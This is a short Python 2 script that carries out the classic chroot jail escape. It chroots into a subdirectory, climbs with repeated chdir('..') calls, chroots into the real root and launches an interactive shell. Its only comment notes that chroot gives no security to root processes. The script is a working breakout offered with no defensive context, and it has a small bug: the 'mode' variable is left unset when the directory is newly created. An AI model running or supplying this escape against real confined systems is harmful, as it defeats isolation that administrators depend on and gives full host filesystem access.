#!/usr/bin/env python

# chroot has no security use if the process is running (s)uid root

from os import *
from errno import *
from stat import *

try:
	mode = stat('foo')[ST_MODE]
except OSError, e:
	if e.errno == ENOENT:
		mkdir('foo')
	else:
		print ('Error reading dir-info')
		exit(1)
if not S_ISDIR(mode):
	print ('Error "foo" is not a directory')
	exit(1)
chroot('foo')
for i in range(1024):
	chdir('..')
chroot('.')
execl("/bin/sh", "sh", "-i")